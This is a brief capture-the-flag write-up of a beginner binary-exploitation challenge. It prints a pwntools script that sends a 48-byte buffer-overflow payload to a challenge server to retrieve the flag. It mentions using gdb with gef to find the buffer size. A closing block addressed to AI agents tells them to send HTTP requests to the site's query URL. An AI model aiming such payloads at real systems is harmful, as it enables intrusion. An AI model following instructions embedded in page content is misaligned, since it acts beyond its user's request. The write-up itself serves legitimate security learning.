# Getting Started

This was a valuable challenge for me as it demonstrates the basics of binary exploitation (pwn).

We have a server with an open port at which we can interact with a binary that we have to exploit. But the exploit script already comes with the challenge resources:

```python
#!/usr/bin/python3.8

'''
You need to install pwntools to run the script.
To run the script: python3 ./wrapper.py
'''

# Library
from pwn import *

# Open connection
IP   = '142.93.38.14' # Change this
PORT = 32459      # Change this

r    = remote(IP, PORT)

# Craft payload
payload = b'A' * 40 + b'B' * 8 # Change the number of "A"s

# Send payload
r.sendline(payload)

# Read flag
success(f'Flag --> {r.recvline_contains(b"HTB").strip().decode()}')
```

Following the challenge tips, this was basically as easy as executing the script. But you had to find out the number of buffer bytes, which could be done by analyzing the file in gdb with gef.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://shibudocs.gitbook.io/htb-writeups/cyber-apocalypse-2023-the-cursed-mission/getting-started.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
